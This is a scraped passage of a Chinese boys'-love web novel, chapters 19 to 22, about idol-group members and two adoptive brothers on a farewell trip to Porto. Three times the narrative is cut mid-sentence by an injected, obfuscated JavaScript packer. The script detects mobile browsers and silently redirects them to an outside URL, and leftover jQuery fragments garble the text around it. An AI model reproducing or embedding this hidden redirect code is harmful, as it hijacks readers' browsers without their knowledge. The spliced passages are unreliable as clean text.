大家一起笑起来,某种只有他不懂的默契在眼神间交换,心照不宣。 “嗯。”时淮抿了一口酒,靠在椅背上悠闲地转着玻璃杯,“好好晒晒太阳。” 本地酿造的波特酒带着浓郁的焦糖味和水果香,比普通的葡萄酒更浓烈,有种醇厚又温柔的口感,风味独特。当作佐餐甜酒也不觉得违和,不知不觉就会喝多。 主食盘子里盛着一只巨大的三明治,里面夹着香肠火腿和牛排好几层,顶上还放了荷包蛋和融化的奶酪,再淋上酒和番茄底的特制辣酱汁,盘子周围满满当当地摆了一圈炸薯条佐食,是当地最著名的美食Francesinha。一眼看过去热量爆炸。 但在这样的好天气里,美食和美酒摆了满满一桌,不远处传来经典歌曲的路演音乐,远在异国他乡的浪漫和自由令人身心轻盈,足以抵消过分摄入的热量。 应允一边炫薯条,一边眺望波光粼粼的河面。行船上装载着红酒木桶,有洁白的海鸥停在上面。他吃饱喝足,窝在太阳椅里拿出随身携带的旅行写生盒,对着眼前美丽的景色比比划划,用简单的颜料涂了一张速写。 “好像有光在里面。” 许青蓝用手挡住阳光,趴在小纸片上观察一番,确信地点头,“是画里面的光。” 应允骄傲地抖了抖袖珍小画刷,“是我眼里的光。” 19. 第 19 章 “小画家。”秦炽又揉他脑袋,“什么时候也给我画一张?前段时间还看你给夏赢工作室设计艺术墙呢。改天去墨尔本玩儿,给我屋里也弄一个。” “哎呀,回头再说。”他不客气地要求,“我身价很贵的,要包机酒还要大红包。” 秦炽哈哈大笑,“当然。你来还住什么酒店啊,睡我床上都行。” 时淮皱了下眉,指节叩在桌面上,打断他,“把东西先收起来,待会儿颜料都晒干了。” “哦。” 墨尔本之行暂且搁置。应允听听就忘了,没放在心上。离开时把速写的一张小画留在了餐厅里,老板热情洋溢地用西语称赞他,一句也没听懂。 老板又转同时淮说。时淮也只听懂了一句,“他说我的弟弟是位年轻的艺术家。” 应允心里美得冒泡,但出门在外还是谦虚地摆摆手,“我只是年轻而已。” 一整个下午被悠闲地消磨过去,一行人回到住处的时间还早。节目组甚至从国内带了一箱火锅底料,待会儿去超市采买食材,晚上又能大吃一顿。 也只有出道多年的艺人才敢这样放肆地吃喝。应允还记得他们在做练习生时,对体重控制的要求非常严格,饮食都被经纪人和公司盯着不给多吃,运动量又大,每天都吃不饱。 那会儿他还是个小学生,拿自己的零花钱去买饭团和汽水,装满书包偷偷运进练习室。是个懂事贴心的小棉袄,第一次露面就迅速赢得了哥哥们的欢心。 August成员家境都不错,否则也撑不起孩子动辄当三五年练习生的消耗。他从小就在几个小少爷们身边讨到不少甜头,哥哥们休息日出去逛街也总会带着他,一起逛童装店给他买衣服的场景还记忆犹新。 “现在再想,也只记得你这么高的样子。”秦炽朝手推车里丢一包薯片,往腰间比划了个高度,“然后一下就是现在了。都不知道你是什么时候长大的。” August出道时应允刚上初中,还没开始蹿个儿。出道后天天忙得脚不沾地,别说他,连时淮都是隔很长一段时间才有空回家一次。 “我到现在还记得有一天晚上,小允哭着给我打电话,问我能不能自己坐飞机过来探班。”夏赢一想就乐,“说快忘了他哥长什么样了。” 应允拒绝回忆年少黑历史,“提这个干嘛。” 夏赢在August里是老幺,跟他年纪最近,性格也外向,所以他当时跟这个小哥哥最合得来。偶尔时淮顾不上接他电话,他就打给夏赢。 当时是第一次世界巡演,在伦敦站时,时淮感冒高烧一直不退,每天强撑着排练完下台就倒,连着两天没给弟弟打电话。 时淮不让提,成员们也就都跟他解释说你哥回来睡了,在准备演唱会太忙顾不上你,回头再联系。 直到烧退了时淮才跟他打视频,一接通对面居然在机场。他一个人背着书包逃课坐国际航班过来,还可怜兮兮地说哥你别生气,我不够钱买回去的机票。 时淮到现在都记得自己差点心梗赶去机场接人的情形,“是你给他的酒店地址。” “哎呀,”夏赢心大地说,“乖乖从小就喜欢黏着你,让他自己待着也是干着急,还不如过来亲眼看看嘛。” 虽然不是亲生,但这兄弟俩好像也有心电感应。应允听别人解释根本不信,执意要过来找他哥。而时淮就是他来的那天退了烧,次日的演唱会上状态超好,很多网上流传至今的转粉神图都是伦敦站那晚诞生的。 那是应允人生中第一次身临其境地看完一整场演唱会,震撼到世界观都被刷新,也真正理解了时淮工作的意义所在。 在那之前,他一直以为他哥是受到亲爹逼迫赶鸭子上架。那晚之后他就明白了,他哥天生就是当大明星的料。 “现在真是长大了哈。”秦炽不经意地说,“好像挺长时间不怎么见你黏着你哥了。” 年岁渐长,时淮的态度跟应允非常相似,都是越来越少跟人提起他们两个的兄弟关系。即使还跟以前一样每天都会联系,但不怎么让人知道了。看在旁观者眼里自然觉得两个人不像小时候那么亲密无间。 应允自己是因为跟别人解释他有个大明星哥哥太麻烦。不知道时淮是为什么。 “现在也黏啊。”应允在忙碌的挑选零食中,抽空敷衍一下哥哥们的聊天,放下薯片抱了抱时淮的腰,然后又去挑新鲜的柠檬。 时淮手还没抬起来,他的胳膊就已经抽走了。 只是短暂地黏了一下。 秦炽看个正着,差点笑出声来,连忙摸了摸鼻子移开目光,当没看见。 应允浑然不觉,拿起一盒红茶茶包,“我把柠檬泡在茶汤里,应该也是柠檬茶的味道吧。” 他从国内带来的柠檬茶很快就喝完了,这里的超市没有卖。 毕竟录节目,基础的台本还是准备了的。晚上回到住处,几个哥哥分开在接受单人采访,应允跑到厨房烧水泡茶。等放凉的空隙里,他闲逛路过楼下的小房间听了一会儿。 这次旅行,是August的最后一次团综了。 下半年的告别演唱会正在筹备,已经确定了年末解约,成员们会各自发展,August从此永远定格在历史之中。 最后一次团综由成员们自己策划,之后会作为礼物免费回馈给粉丝全网播出。希望能在安逸的慢节奏旅行中,回顾August成立八年来的心路历程,分享一些台前幕后未曾披露过的有趣回忆。最后再像对朋友倾诉一样,对一直以来陪伴支持August的粉丝们好好告个别。 应允垂眼看了看自己手上的团戒,忽然有点明白,时淮为什么还特意带上他来。 是来见证历史的。 怪不得这次整个组的氛围这么轻松舒适,原来核心就是大家的告别旅行。可莫名的又有点伤感,这次团聚后,下一回再要集齐八个人就很难了。 算上练习生时期到现在,他们已经是认识了十来年的伙伴,共同经历过种种成名的坎坷和荣耀,是战友又是家人,马上要解散了大家心情肯定很复杂。 时淮作为队长是首当其中的。August是他至今为止努力做了半辈子的事业,从少年到青年全部心血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595691|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都投注在上面,早已经当作人生的重心。 现在马上就要走进下一个人生阶段,怅然若失肯定会有的,说不定也会感到焦虑茫然。 但他是当哥哥的人。这些烦恼,身为哥哥是不会说的。 应允默默地退回厨房,看着澄红的茶汤,想最近他哥总跟他说什么“你已经长大了”的话,会不会其实就是压力太大受了影响。 因为自己正在面临人生的阶段性过渡,所以担心弟弟,是否也到了步入新阶段的时间节点。 他回想时淮二十岁时在做什么。恰好是第一次世巡的年纪,他哥带着自己的团队辗转于各个国家,把演唱会办得风生水起,全世界疯狂圈粉,让August的名气攀上新高度,闯进一线从此常驻。 他的二十岁呢,学校的课爱上不上,绩点够保命不挂科就行。跟着一群哥哥出来旅游蹭吃蹭喝,目前最大的烦恼是思考柠檬茶该怎么做。 也难怪他哥替他着急。 在时淮身边,他从来不觉得自卑,只会为有这么个哥哥感到骄傲。这会儿也不算自卑吧,就觉得自己确实是挺没出息的,真愁人。 “还没做出来?” 时淮采访完率先下楼,看见他一个人站在橱柜前发愣。 “嗯……茶太烫了。”他拿茶匙在杯子里胡乱搅和,手边是切好的柠檬片,“柠檬放进热水里会苦。” 时淮又拿了只茶杯,帮他倒来倒去加速散热,漂亮的手指握着杯柄,扬起的茶汤在两只杯子间顺滑流动,一滴都没有洒出来。 他好像做什么事都是这么专注的。应允看了好几眼,忍不住叫他,“哥。” 时淮没抬眼,“说。” “我好像很久都没有问过你,是不是过得很辛苦。”他小声说。 他小时候还算是个小棉袄的,可越长大就越少用心去了解时淮在干什么。时淮不太希望他涉入娱乐圈是一方面。另一方面,他确实觉得他哥干什么都很厉害,压根不需要他操心,慢慢也懒得过问了。 可哪有人是生下来就厉害的。 他沉浸在对哥哥疏于关心的愧疚里。没想到反而被时淮嫌弃地瞥了一眼,“怎么想这些没用的?还不如想想明天要去哪玩,吃什么。” 这个人是对温情过敏么。 应允脑袋里的伤感一瞬间被清空,愤愤地说,“我每天脑子里都在想去哪玩吃什么!最多再想想要画什么。” 所以才长成这么让人发愁的模样了。 “都是你把我养成这样的。”他不讲理地把锅甩到时淮身上。 谁让他哥这么神通广大,年少成名搞事业的同时顺手还能把他养大。什么都替他想了,什么都安排得妥妥当当的,他只要听话就行,连被生活毒打的机会都没有,根本就不需要长大。 “是啊。” 这份责怪——或者更像是赞扬传到耳边,时淮欣然接受,放下茶杯,抬手拨了一下他的耳垂,“是我养的。” 他气得鼓了下脸颊,被时淮捏在手里,停顿打量了片刻,才笑着开口。 “养得还不错啊,小画家。” 20. 第 20 章 柠檬茶最后也没做成。应允忘了买砂糖,单是柠檬放进红茶汤里香味倒是充足,口感却很酸涩,实在算不上好喝。 “明天去买了糖再重新做。” 刚刚逛超市搬回来两箱水和酒精饮料,今晚吃火锅是够喝的。做完单人采访后大家纷纷下楼,过来慰问他两句,顺便每人两口把他煮出来的一锅红茶都给喝干净了。 从准备食材到火锅开煮的过程都是需要大家亲自动手的拍摄内容,应允为免入镜往后站了站,也就没动上手。 “先回房间去玩儿吧。” 看他在旁边无聊,闲着也是闲着。秦炽拿了两包零食扔给他,“待会儿拍得差不多了就叫你下来一起吃。” “哦,行。”干看着确实没什么意思,他抱着零食去二楼,自己找点事情打发时间。 今天拍了不少照片,有些是他自己要留着收藏的,有些整理出来交给节目组用。还有几张特别喜欢的,他想发在自己朋友圈里,可现在照片流出去会有剧透的嫌疑,就只挑了风景照和那一张观光巴士上被阳光偏爱的侧影。 发到朋友圈之后,断断续续有人问那个侧影是谁。有几个朋友知道他出来玩了,以关潼为首纷纷猜测是他在国外艳遇的欧洲大帅哥。 他统一回复了“我时哥”。一分钟后时淮给他点了个赞。 正拍着呢,怎么队长还带头开小差玩手机啊。举报了。 他跑出房间,扒着二楼的木栏杆往下望。八个人围着丰盛的火锅坐成一圈,热闹地吃喝聊天,从一楼弥漫开来的牛油味儿已经火辣辣地蹿升到天花板,香得他打了个喷嚏。 时淮似有所觉,抬头就望见他靠在栏杆上揉鼻子。 【饿了?】 【过来】 他刚吃了零食,其实还不怎么觉得饿。但看到时淮发来的微信,还是想都没想地下了楼。 这波锅里刚煮熟的食材,时淮给他捞了一碗,其他哥哥看见还给他添几筷子,一整碗堆得冒尖。 应允美滋滋地端上楼,一边吃一边看动画片,吃饱喝足再打两把游戏,微信上忽然又收到新消息。 国内已经将近两点。程识原本也正要睡觉,看到他发了新的朋友圈才来找他聊天。 应允积极地聊了几句,却得知他已经脱单。刚吃完的火锅一点都不香了。 虽然是意料之中的事情,但真正发生时,未免还是令人心生惆怅。 【谢谢你一直鼓励我】 【祝你也能早日找到合适的人^_^】 应允心酸地道了恭喜,放下手机开始emo。楼下的笑声透过门板传来,哥哥们的快乐却与他无关。 他都这个年纪了,怎么就连个谈恋爱的机会都没有呢?老天保佑……正好明天好像要去什么教堂参观,到时候外国的神仙也得拜一拜。 别的什么成就都可以暂时先放一放,找老婆的大事必须提到日程首项。今年的时间还剩下一半,再怎么说年底之前也要脱单! 才八点多,他倒在床上就一个劲儿地打哈欠,怀疑自己是时差还没倒过来,不然平时没困得这么早过。 也可能是被死去的暗恋再次攻击,心力憔悴了。他还想再打两把游戏提提神,可只开了一局就眼前朦胧,再一局匹配队友时还没等到点确定,就捧着手机睡了过去。 夜色中的波尔图灯光映着河水,音乐声在河畔连绵不断。小城夜景大有可逛,年轻的旅行者却早早进入梦乡。 时淮也没想到他会睡这么早,火锅到一半过来叫他,才发现他已经趴在床上叫不应了,侧脸压在手机屏幕上。 时淮抽出他的手机放在一旁,揉了揉他脸上方形的红印子,抽一张湿纸巾擦干净他嘴角残留的油光。 他无意识地抬起胳膊挥舞了一下,梦里还想反抗,被时淮眼都不眨地攥住手腕压了下去,放进被子里,又去捉他的另一只手。 他中指上还带着团戒。时淮无端愣怔了一瞬,不知想到什么,要帮他摘下来的动作也停顿了,看着两只交叠的手上,两枚同样的戒指靠在一起无声地闪着光。 像在欣赏什么世界名画,时淮垂眼注视了很久。直到应允又要不老实地发觉疯,才摘下戒指把他塞进被子里牢牢裹住,走出了卧室。 “就等你出来抽根烟,怎么这么久。” 秦炽站在楼梯转角的窗边透气,看他一个人出来,略微意外,“小乖已经睡了?” “嗯。” 夏赢和许青蓝喝酒上了头,说要出去夜游波尔图。这种兴之所至的随机小活动当然少不了爱凑热闹的弟弟,时淮就是过去叫他一起出门的。 现在弟弟睡了,时淮也没有再往外跑的心思。小情侣单独出去溜达,在夜晚的杜罗河畔浪漫约会。他和秦炽在院子里乘凉的藤椅上抽烟聊天。 August里时淮作为队长是最年长的成员,接着就是生日相差仅三个月的秦炽。年龄比较靠近的成员天然就多些亲近,秦炽对外表现的形象也是偏亲切稳重的类型,很照顾其他弟弟。两人组的cp在粉丝间流传成“父母爱情”,cp粉心目中也是一段佳话永流传。 实际上秦炽男女通吃,前男友前女友一大堆。这些年里时淮因为成员们的恋爱问题被公司代表叫去骂,十次有五次都是因为秦炽又跟哪个男团女团里的小忙内好上了。 时淮至今不明白他为什么有那么多的精力去谈恋爱。只是在某一次活动上见过面,前后脚走过红毯的人活动结束之后就能互换微信,认识没多久就能发展到恋情。 “这不是挺正常的事儿吗?不然就当时我们那个工作强度,除了活动里还能去哪遇见人,宿舍里的你也不让我谈啊。” 秦炽眯起眼睛吐出烟圈,把打火机扔给他,“有夏赢和许青蓝那对儿就够你头疼的了,是吧。” 队内恋爱弊大于利。状态好的时候能互相促进共同成长,可一但有点小问题就会拖累整个团队的进度,得不偿失。小情侣之间偶尔闹些矛盾是不可避免的,因为私人原因影响工作,是时淮不赞同两人在一起的主要原因。 他并不是恐同,而是每次那两人闹矛盾他聊完一个又要去找另一个,聊怕了。自己的休息时间跟弟弟打电话都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595692|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够用,还得帮公司看孩子,真的心累。 好在这么多年也磨合下来了。时淮靠在藤椅上玩打火机,幽蓝的火苗在手指间攒动,“他们两个能走到今天也不容易。” “你也不容易啊。”秦炽磕着烟灰,“不过刚才录制的时候,pd问的那个问题你又没认真回答。” 他们经常会在各种场合里被问到“是什么样的契机促使你成为练习生”或者“你是怎样诞生了要当大明星的想法”,时淮大部分时候都会含糊过去,或者巧妙地把问题转移给别的队友。 刚才吃火锅时又被问到,他依旧用“童年梦想”之类的常规词蒙混过关。但秦炽知道那不过是官方的回答,也知道他出道这么多年,一直没说过实话。 眼看着都快解散了,不知道有生之年还有没有机会听到他们队长进公司的理由。 “其实刚见到你的时候,我都不太明白你为什么要来公司。”他玩笑道,“你当时走进练习室,一脸被胁迫的表情。” 他们公司签练习生的概率是千分之一,换句话说能签约的机会都是挤破头争取来的。为了实现梦想,年少时每个人都豪情壮志,相信自己就是未来的舞台焦点,恨不得大半夜住在练习室里,拼尽全力争取出道的名额。 只有时淮一进来像是为了完成任务,每天练够时间就走。在很长的一段时间里,他无法从各种舞蹈和声乐训练中获取成就感,只是例行公事地来上课,是训练了将近一年后才开始对自己从事的工作有所改观并逐渐接受的。 “这有什么难猜的?我爸催着我来的。”时淮轻描淡写道,“我不就是个他用来实现梦想的工具人么。” “不对吧,我总觉得没那么简单。” 秦炽搓着下巴看他,“别人我不敢说,你我是眼看着十年了,还同吃同住的。你可不是愿意受摆布的人,你没那么听话。” 傲的人从小就傲。最初让他愿意踏入公司的理由,绝对不是因为家长的逼迫。“你就是典型的吃软不吃硬,谁能硬得过你啊。” 秦炽说,“要是当年你叛逆一把,非不进公司,你爸能拿你怎么样?说不定我们几个人就没有认识的机会,连August都不存在了。” 虽然开始训练后一路突飞猛进,从零基础的素人迅速成长,但其实时淮最初并不具备练习生选拔的标准,只因为时牧桓被破格签约,可以说是走后门进来的。 后来甚至拥有在成团前参与公司高层会议亲自挑选队友的权利,跟大部分练习生的成长轨迹都不太一样,“所以我们几个一直都很好奇,你是因为什么才决定来公司的。” 时淮沉默了一阵,像是在想他话里的可能性。 以为今天是个好日子,队长有兴致透露心事,秦炽期待地等了半天。直等得夜幕中星星都困得闪烁不动,他才把手里未曾点燃过的烟和打火机一并丢了过来,“不告诉你。” “……” 秦炽撇撇嘴,看他起身像是要去房间休息,“哎,你不抽啊?” “不抽了。” 他没回头地摆了摆手,“乖嫌呛。” 21. 第 21 章 他其实也有过烟瘾,在August出道前三年,压力最大的时候一天能抽大半包,后来觉得不是什么好习惯,说戒就戒了。 回到房间时应允睡得正香,四仰八叉地霸占着大半张床,卷进被子里的胳膊腿都挣出来搭在床边上。没心没肺的睡姿从小到大都没变过。 时淮走到床边捡起被子,刚盖回去又被他不老实地掀了,翻身侧躺夹着被子继续睡。 宽松的裤脚被蹭得往上翻卷,露出半截线条流畅的小腿,光滑的皮肤上冒起一层小颗粒。夜里冷空气侵袭,细薄的皮肤下肌肉忽然痉挛起来,他痛得蜷起身,膝盖顶在胸口。 时淮皱了下眉,握住他的脚踝拉进怀里,让他的小腿肌肉伸展绷直,坐在床边给他按摩。 被拿捏住后他就不再乱翻,老老实实伸直腿躺着,揉舒服了无意识地哼哼两声。许久过去,他已经不抽筋了,时淮却还没有停止动作。 指腹下的触感温暖柔韧,带着触之不可分离的魔力,无人知晓的深夜里,贪暖的手掌顺沿向上,在抵达危险区域前堪堪顿住。 “哥……”他紧闭着眼,虚握的拳头抵在嘴唇前,磨蹭着小声嘟哝,“哥……我不走……” 时淮抽出手,把他的长裤拉下来盖住小腿,低声应,“嗯,不走。” 五月的波尔图夜里还凉,冷水澡令人格外提神。楼下夜游小城的情侣刚刚回来,在窗下的露台边拥吻。时淮洗完澡往外瞥了一眼,闹心地关了窗户,上床再给弟弟盖一遍被子。 他时常怀疑应允蹬被子的习惯是只有跟他一起睡才会有,否则平时自己睡,一周里总得有七天都会感冒。 身边的热源接近,应允自发地隔着被子贴过来。他没有动,因为总是为难。既希望这个距离能再缩短一些,碍事的被子直接消失,又希望不要再近了,免得今晚觉又睡不安生。 所以他没有动。 被冷水浇洗过的身体连同思维都很清醒,时淮躺在熟睡的弟弟身边,无声地回想晚上跟秦炽的对话。 如果没有妥协去当练习生,没有成为August,他现在应该在做什么? 他会过得更自由。早早出国,学习感兴趣的物理或天文学,申请奖学金研读硕博,之后留校或去研究所任职工作,每年回国一两次探亲,年岁大了领着退休金出去环游世界,最后老死在异乡不知名的土地上。 ——那是初中的时子虞给自己安排的未来。 在遇上应允之前,他给自己安排的未来。 初三时他面临人生中第一个艰难的选择:去实现自己理想的生活,还是养一只惹人怜爱的小狗。 应小蝶去世时他十四岁,未成年人的身份有诸多不便。时牧桓不愿意暂代监护人的身份,应允就会被赶回老家,住到亲戚家里寄人篱下,巨额遗产遭到觊觎和瓜分。 小狗能有什么心眼呢,谁给他一块糖吃,他就会把身上的好东西全都给人家。 不能眼睁睁看着年幼懵懂的弟弟回去受欺负——十四岁的时子虞以善良的名义满足自己的私欲,和时牧桓做了一场改变人生的交易,放弃远方的未来,得到了一只黏人的小狗。 从此他再也没有所谓的私人时间,工作和学校两点一线,只有在各种忙碌的间隙里逗一逗他的小狗,才能从枯燥无味的生活里获得些许乐趣。 “哥……”应允把额头抵在他肩上,断断续续地梦呓,“柠檬茶……要放糖……要喝……” 时淮沉默了一会儿,抬手拨开他蹭乱的额发,嘴唇轻轻贴上。 “睡吧,明天给你做。” 他的确把应允养得很好,健康,快乐,纯粹,无忧无虑。可日久天长,他逐渐看清了掩藏在这层关系下事情的真相。 被驯服的人好像是他自己。 ** 隔天早晨,为爱熬夜的小情侣是最后一对下楼的,跟应允前后脚。 厨房里弥漫着煎蛋培根和面包片的焦香味,还有前一晚吃剩的火锅冒菜大乱炖。应允睡足了十二个小时,把前一天缺的觉全补了个够,整个人神清气爽地下楼,意外发现今天的公主殿下起得比他早多了。 时淮在煮红茶,刚给炉子关了火,“过来吃早饭。” “哦。”应允拿了片烤面包,咔嚓咔嚓地嚼,吃到一半被拎到桌边喝牛奶,“我不喝这个……小孩儿才喝这个!” “喝。”时淮懒得理会他反抗的小动作,不容拒绝地上手直接灌,“昨天晚上睡觉你腿又抽筋了。” 小情侣亲亲热热地下楼,正好撞见他被灌奶的场面,十分感慨并选择旁观,笑呵呵道,“小乖还在长个子吗?多补一补。” 秦炽也说,“缺钙是会抽筋的,痛得要死。我当年长个儿的时候也经历过。” “真的假的。”应允捧着温热的牛奶杯,在一众帮腔中半信半疑地喝了几口。 他高中时开始抽条,一下子长得太快身体承受不了,也有段时间经常小腿抽筋。可现在他都大三了,本来以为身高都固定了,难道还有机会能再蹿一蹿? 抱着对大高个儿的渴望,他捏着鼻子又灌了半杯,实在嫌太腥太腻,推给时淮不肯再喝了。 早餐后他如愿喝到了自己的续命饮料柠檬茶,放了砂糖和柠檬汁,酸甜度正可口。 他本来打算今晚回来买了糖再尝试的。时淮说晨跑顺便去买了,还给他买了只能背的小水壶。 出门之前往水壶里灌满柠檬茶,背在身上感觉像去郊游的小朋友,好心情噗噗往上涨。 “怎么就我自己有哇。” 他得了便宜还卖乖,背着水壶在人群里面转悠了一圈,打开盖子先喝一气,啧啧道,“好甜哇。” “……” 许青蓝打着哈欠挂在他身上,懒散地附和,“啊对对对,知道你有哥哥了。” 夏赢速度过来把人劫走,“宝贝想要我们也有。” 臭情侣。应允嫌弃地皱了皱鼻子,还是跟他哥一起走。兄弟两人共同散发出单身的清香。 今天要去参观的是圣佛兰西斯科教堂,欧洲最奢华的教堂之一。节目组先行一步,去调查能拍和不能拍的地方,他们一行人走得比较晚,出门先在附近的广场吃了午饭才去目的地打卡。 沿途目睹了一对吵架的夫妻,在马路上旁若无人地争吵。在这里遇到的人们大部分都是乐呵不羁享受生活的,还是第一次遇见这副场面,应允好奇地问他们在吵什么。 “跟孩子的教育问题有关。”从接近到远离的一段距离,时淮路过听了个大概,“已经说到回家就离婚了。” “这么严重啊?”应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595693|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 允哇了一声,很快注意重点就跑偏,“哥你连西语也听得懂诶,好厉害。” 时淮回头用看傻孩子的目光看了他一眼,“他们说的是英语。你四级到底过没过?” “……” 应允惭愧地说,“过了,不过听力就没对几个。” 纵然有他是个学渣的成分在,但哪个国家的路人吵架也不会用标准播音腔吧。他听不懂也情有可原。 一丢丢沮丧转眼就抛到脑后,目的地很快到了。从外面看是其貌不扬的哥特式建筑,高大端庄,色彩简朴甚至有些灰暗,内部却是金碧辉煌的。高大的穹顶和立柱,内壁是镀金和大理石,极尽奢华的巴洛克装饰令人目不暇接。 应允只拍了几张照片,往里走后就没再举起相机了。外面天气不错,教堂内部却有些阴森森的。听说底下还有墓室,想到那一堆白骨,连眼前金灿灿的内饰也变得压抑起来。 今天下午游客不多。他在祭坛前转了一圈,仰视圣母玛利亚的雕像,坐在礼拜用的长椅上歇脚,望着黄金雕刻的墙壁不知在想些什么。 直到时淮也坐在他身边,听见他没头没尾地来了一句,“要我说啊哥,要不咱俩干脆都别结婚了。” “……怎么忽然这么想。” “就是觉得谈恋爱也没什么好的,反正谈了也得分。结了婚还能离呢。”应允说。 他昨天晚上睡觉之前还想着来拜一拜,求一下姻缘,真到了这里面才想起来,这世界上好像没几个宗教是支持同性恋的。可他就喜欢男人,所以即使这里的神听到祈祷也不会庇佑他,说不定还会把他拖进什么黑名单里预备下地狱。 就他这情况,要找一个合心意的对象太难了,活了二十年才遇到一个,说不定下一次有谈恋爱的机会要等到四十岁的时候呢,估计这辈子也不会有什么正经的婚姻。 他低着头,语气莫名的很有些沮丧,“干脆我们俩相依为命打一辈子光棍得了,时叔要是骂你,我就跟你一块儿去挨骂。你就说是我撺掇的。” “你确定吗?” 时淮当他是在开玩笑,语气轻松,“在神的居所前不能撒谎,否则会受到惩罚。” “确定啊。”他无所谓道,“惩罚就惩罚呗,我又不怕。反正我是真心的。” 如果神能实现愿望,他愿意拿自己下落不明的爱情换时淮当他一辈子亲哥。甚至还觉得自己赚了。 “……”时淮盯着他看了好一阵,神色不明。 没有得到回应,应允也不觉得奇怪。他能理解,成熟男人总是更现实的,不会轻易许诺。他哥肯定已经把未来的生活计划都已经安排好了,什么时候结婚什么时候生孩子都有自己的打算,哪里是能和他随便开玩笑的。 半晌,时淮才轻声道,“等你以后再喜欢上什么人,想结婚了,就会后悔今天说过的话。” 肃穆的殿堂里回声环绕。两人的窃窃私语在耳边无限放大,连同未知未尽的语意一瞬间扩散在空气里,没了踪迹。 “我还能喜欢什么人啊?”应允毫不犹豫地接话,“别人再好也不会像你对我这么好了。我还不如喜欢你……不对。我们俩的感情用喜欢怎么能概括呢,太肤浅了。” 他言之凿凿,说着自己先笑起来,闪光的眼瞳清澈透亮,“哥,我爱你。” 22. 第 22 章 夏赢路过他俩身边,猝不及防听见这么句告白,一屁股坐他边上,欣慰地摸弟弟脑袋,“Good boy~真乖,我呢?爱不爱小夏哥哥?” “……” 时淮脑海里还回荡着他刚才的话,默不作声往里挪了一个身位。许青蓝也慢悠悠地逛过来,挨着边坐下,抬手敲小夏哥哥的后脑壳,“说什么呢。” 夏赢黏黏糊糊地往人肩上靠,“小夏哥哥说我爱你呀。” “我也爱小夏哥哥。” “Mua!” 应允脸一红,知道这俩人说的跟自己说的肯定不是一个意思,往时淮身边靠了靠,转头小声提醒,“诶……你们这样大庭广众地爱来爱去是不是不会太好,人家的上帝说不定都在听呢。” “干嘛,上帝他老人家打光棍,看不得小情侣相亲相爱吗。”夏赢从口袋里摸出汽水糖,剥开了喂到老婆嘴边,顺手捏一把鼓起的脸颊肉。 队内rapper担当的磁性低音炮叛逆不羁,无所畏惧道,“Fuck hell(去他妈的地狱)。” 许青蓝笑起来,眼尾弯成月牙,含着糖果咂了咂嘴唇,声线清甜,“Fuck in hell.” 这一句简单黄暴到应允都听懂了,叹为观止,“原来你是这样的小许哥。” “……”时淮想捂住他耳朵的动作迟了一步,无奈道,“你们两个适可而止一点。” 自从队内老幺也跨过成年大关后,几个人私底下说话就越来越肆无忌惮。应允不介意,凑限制级的热闹也凑得很快活,“什么味儿的糖?给我也吃一个。” 各种水果味的汽水糖夏赢装了满满一兜,大方地掏一把给他。水壶里的柠檬茶也被喝光,他吃太多糖把胃口腻着了,晚饭都没怎么吃。 晚饭的菜单照旧是大家集思广益,其中秦炽做的菠萝海鲜炒饭最受好评,留了半盘给他当宵夜。 后半夜他果然饿醒了。醒来时房间里很安静,时淮还在睡,透窗而过的月光投在他脸上。很像白天在艺术馆里看到过的雕塑,美丽的轮廓总是忧郁又神秘。 像是带着心事睡着的。他好奇地拨了拨雕塑的睫毛,看时淮皱眉赶紧收手。怕把他哥闹醒了要挨打,小心翼翼地爬起来出去找吃的。 外面反而不如房间里安静。客厅还留着一盏小小的壁灯,陈旧的留声机原本以为只是摆设装饰,放进黑胶唱片却能正常旋转,异国民谣的旋律在深夜里温柔地流淌。 灯下是一对相互依偎的恋人,拥吻在一起缓缓摇曳舞步,谁都没有说话。气氛浪漫得不可思议,令人不忍打破。 应允没过去,蹲在楼梯上悄悄看了一会儿。直到两人之间的吻逐渐激烈,许青蓝被抱起来,一楼客房的门被嘭地一声关上。 他搓了搓发烫的脸颊,小跑下楼去餐厅吃宵夜,穿过客厅时还是没控制住吃瓜的好奇心,倒了几步来到客房门前,隐隐约约能听见里面有暧昧的动静。 他像个磕糖磕到限制级的cp粉,不受控制地露出神秘笑容。 小夏哥哥加油! 夏老板牛批。 本来还在困与饿之间挣扎着,这会儿完全不困了。隔着门的喘息声似有若无更加抓耳,几秒钟的时间里,他甚至还被撩得有点心痒,想着自己待会儿吃完炒饭可以偷偷去洗手间里舒服一下。 正抬脚要走的时候,熟悉的沉稳声音在他身后半步距离响起,“干什么呢。” “……” 他双手死死捂住嘴才没发出声音来,转头用惊悚的眼神看着时淮。 